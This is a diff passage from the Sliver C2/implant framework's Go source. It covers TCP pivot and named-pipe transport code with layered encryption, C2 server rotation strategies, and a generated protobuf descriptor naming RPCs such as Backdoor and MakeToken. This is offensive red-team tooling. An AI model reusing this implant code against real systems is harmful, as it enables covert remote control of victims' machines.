log.Printf("[pivot] Error writing message: %v", err)
// {{end}}
return err
}
}
return nil
}
func (p *NetConnPivotClient) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
// {{end}}
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, bufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
break
}
}
return dataBuf, err
}
func (p *NetConnPivotClient) lengthOf(message []byte) []byte {
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(message)))
return dataLengthBuf.Bytes()
}
// WriteEnvelope - Write a complete envelope
func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
plaintext, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Marshaling error: %s", err)
// {{end}}
return err
}
var peerPlaintext []byte
if envelope.Type != pb.MsgPivotPeerPing {
// Prepend the message with the pivot session ID
// note this can only be done after the server key change
ciphertext, err := p.serverCipherCtx.Encrypt(plaintext)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Server encryption error: %s", err)
// {{end}}
return err
}
msgBuf := make([]byte, len(p.pivotSessionID)+len(ciphertext))
copy(msgBuf, p.pivotSessionID)
copy(msgBuf[len(p.pivotSessionID):], ciphertext)
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
Type: pb.MsgPivotOriginEnvelope,
Data: msgBuf,
})
} else {
// Pivot pings are not encrypted with the sever key
peerPlaintext = plaintext
}
peerCiphertext, err := p.peerCipherCtx.Encrypt(peerPlaintext)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Peer encryption error: %s", err)
// {{end}}
return err
}
return p.write(peerCiphertext)
}
// ReadEnvelope - Read a complete envelope
func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
data, err := p.read()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error reading message: %v", err)
// {{end}}
return nil, err
}
data, err = p.peerCipherCtx.Decrypt(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Peer decryption error: %s", err)
// {{end}}
return nil, err
}
peerEnvelope := &pb.Envelope{}
err = proto.Unmarshal(data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unmarshal origin envelope: %v", err)
// {{end}}
return nil, err
}
// The only msg type that isn't encrypted by the server should be pivot pings
if peerEnvelope.Type == pb.MsgPivotPeerPing {
return peerEnvelope, nil
}
if peerEnvelope.Type != pb.MsgPivotOriginEnvelope {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unexpected envelope type (non-origin)")
// {{end}}
return nil, err
}
plaintext, err := p.serverCipherCtx.Decrypt(peerEnvelope.Data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Server decryption error: %s", err)
// {{end}}
return nil, err
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unmarshal envelope: %v", err)
// {{end}}
return nil, err
}
return envelope, nil
}
// CloseSession - Close the TCP pivot session
func (p *NetConnPivotClient) CloseSession() error {
return p.conn.Close()
}
@@ -1,81 +0,0 @@
package pivotclients
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"net"
"net/url"
"sync"
"time"
)
const (
bufSize = 1024
)
var (
ErrFailedWrite = errors.New("write failed")
defaultDeadline = time.Second * 10
)
// ParseTCPPivotOptions - Parse the options for the TCP pivot from a C2 URL
func ParseTCPPivotOptions(uri *url.URL) *TCPPivotOptions {
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
if err != nil {
readDeadline = defaultDeadline
}
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
if err != nil {
writeDeadline = defaultDeadline
}
return &TCPPivotOptions{
ReadDeadline: readDeadline,
WriteDeadline: writeDeadline,
}
}
// TCPPivotOptions - Options for the TCP pivot
type TCPPivotOptions struct {
ReadDeadline time.Duration
WriteDeadline time.Duration
}
// TCPPivotStartSession - Start a TCP pivot session with a peer
func TCPPivotStartSession(peer string, opts *TCPPivotOptions) (*NetConnPivotClient, error) {
conn, err := net.Dial("tcp", peer)
if err != nil {
return nil, err
}
pivot := &NetConnPivotClient{
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: opts.ReadDeadline,
writeDeadline: opts.WriteDeadline,
}
err = pivot.KeyExchange()
if err != nil {
conn.Close()
return nil, err
}
return pivot, nil
}
File diff suppressed because it is too large. Load diff
+94
View File
@@ -0,0 +1,94 @@
package transports
import (
"bytes"
"encoding/binary"
"net"
// {{if .Config.Debug}}
"log"
// {{end}}
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
const (
bufSize = 1024
)
func tcpPivotWriteEnvelope(conn *net.Conn, envelope *pb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Print("[tcppivot] Marshaling error: ", err)
// {{end}}
return err
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
_, err = (*conn).Write(dataLengthBuf.Bytes())
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcppivot] Error %v and %d\n", err, dataLengthBuf)
// {{end}}
}
totalWritten := 0
for totalWritten < len(data)-bufSize {
n, err2 := (*conn).Write(data[totalWritten : totalWritten+bufSize])
totalWritten += n
if err2 != nil {
// {{if .Config.Debug}}
log.Printf("[tcppivot] Error %v\n", err)
// {{end}}
}
}
if totalWritten < len(data) {
missing := len(data) - totalWritten
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcppivot] Error %v\n", err)
// {{end}}
}
}
return nil
}
func tcpPivotReadEnvelope(conn *net.Conn) (*pb.Envelope, error) {
dataLengthBuf := make([]byte, 4)
_, err := (*conn).Read(dataLengthBuf)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcppivot] Error (read msg-length): %v\n", err)
// {{end}}
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, bufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := (*conn).Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
break
}
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcppivot] Unmarshal envelope error: %v", err)
// {{end}}
return &pb.Envelope{}, err
}
return envelope, nil
}
+36 -17
View File
@@ -30,11 +30,38 @@ import (
)
const (
strategyRandom = "r"
strategyRandomDomain = "rd"
strategySequential = "s"
StrategyRandom = "r"
StrategyRandomDomain = "rd"
StrategySequential = "s"
)
var (
maxErrors = GetMaxConnectionErrors()
reconnectInterval = time.Duration(0)
activeC2 string
activeConnection *Connection
proxyURL string
)
// GetActiveC2 returns the URL of the C2 in use
func GetActiveC2() string {
return activeC2
}
// GetProxyURL return the URL of the current proxy in use
func GetProxyURL() string {
if proxyURL == "" {
return "none"
}
return proxyURL
}
// GetActiveConnection returns the Connection of the C2 in use
func GetActiveConnection() *Connection {
return activeConnection
}
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
@@ -43,26 +70,23 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
generator := make(chan *url.URL)
go func() {
defer close(generator)
c2Counter := uint(0)
c2Counter := 0
for {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
case StrategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]
case strategyRandomDomain: // Random Domain
case StrategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]
case StrategySequential: // Sequential
next = c2Servers[c2Counter%len(c2Servers)]
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%len(c2Servers)]
}
c2Counter++
if ^uint(0) < c2Counter {
panic("counter overflow")
}
uri, err := url.Parse(next)
if err != nil {
// {{if .Config.Debug}}
@@ -109,11 +133,6 @@ func randomCCDomain(ccServers []string, next string) string {
return pool[insecureRand.Intn(len(pool))]
}
var (
// reconnectInterval - DO NOT ACCESS DIRECTLY
reconnectInterval = time.Duration(0)
)
// GetReconnectInterval - Parse the reconnect interval inserted at compile-time
func GetReconnectInterval() time.Duration {
if reconnectInterval == time.Duration(0) {
@@ -23,6 +23,8 @@ package transports
// {{if .Config.NamePipec2Enabled}}
import (
"github.com/bishopfox/sliver/implant/sliver/transports/namedpipe"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"io"
"net/url"
"sync"
@@ -30,20 +32,16 @@ import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
func namedPipeConnect(uri *url.URL) (*Connection, error) {
opts := &pivotclients.NamedPipePivotOptions{}
client, err := pivotclients.NamedPipePivotStartSession(uri, opts)
conn, err := namedpipe.NamedPipeConnect(uri)
if err != nil {
return nil, err
}
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{}, 1)
ctrl := make(chan bool, 1)
connection := &Connection{
Send: send,
Recv: recv,
@@ -57,33 +55,25 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
log.Printf("[namedpipe] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- struct{}{}
ctrl <- true
close(recv)
},
}
connection.Stop = func() error {
// {{if .Config.Debug}}
log.Printf("[named-pipe] Stop()")
// {{end}}
connection.Cleanup()
return nil
}
go func() {
defer connection.Cleanup()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
client.WriteEnvelope(envelope)
namedpipe.WriteEnvelope(&conn, envelope)
}
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := client.ReadEnvelope()
envelope, err := namedpipe.ReadEnvelope(&conn)
if err == io.EOF {
break
}
@@ -95,7 +85,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
}
}
}()
activeConnection = connection
return connection, nil
}
+1 -1
View File
@@ -1,4 +1,4 @@
//go:build windows
// +build windows
// Copyright (C) 2018, Rapid7 LLC, Boston, MA, USA.
// All rights reserved. This material contains unpublished, copyrighted
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -131,7 +131,7 @@ message ImplantConfig {
string ECCPublicKey = 23;
string ECCPrivateKey = 24;
string ECCPublicKeySignature = 25;
string MinisignServerPublicKey = 26;
string ECCServerPublicKey = 26;
string WGImplantPrivKey = 30;
string WGServerPubKey = 31;
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: dnspb/dns.proto
package dnspb
+393 -387
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x32, 0x9d, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x74, 0x6f, 0x32, 0xaa, 0x34, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -296,163 +296,164 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x12, 0x3b, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e,
0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x4e, 0x0a,
0x12, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65,
0x6e, 0x65, 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50,
0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
0x72, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a,
0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
0x65, 0x72, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52,
0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
0x70, 0x74, 0x79, 0x12, 0x47, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74,
0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x40, 0x0a, 0x0c,
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72,
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e,
0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72,
0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42,
0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76,
0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e,
0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54,
0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06,
0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53,
0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08,
0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a,
0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74,
0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12,
0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64,
0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65,
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65,
0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a,
0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72,
0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e,
0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x3b, 0x0a,
0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x17, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65,
0x73, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x38, 0x0a, 0x0b, 0x54, 0x43,
0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71,
0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x43, 0x50, 0x50,
0x69, 0x76, 0x6f, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x50, 0x69, 0x76, 0x6f,
0x74, 0x73, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69,
0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x12,
0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12,
0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74,
0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66,
0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70,
0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66,
0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69,
0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b,
0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61,
0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12,
0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
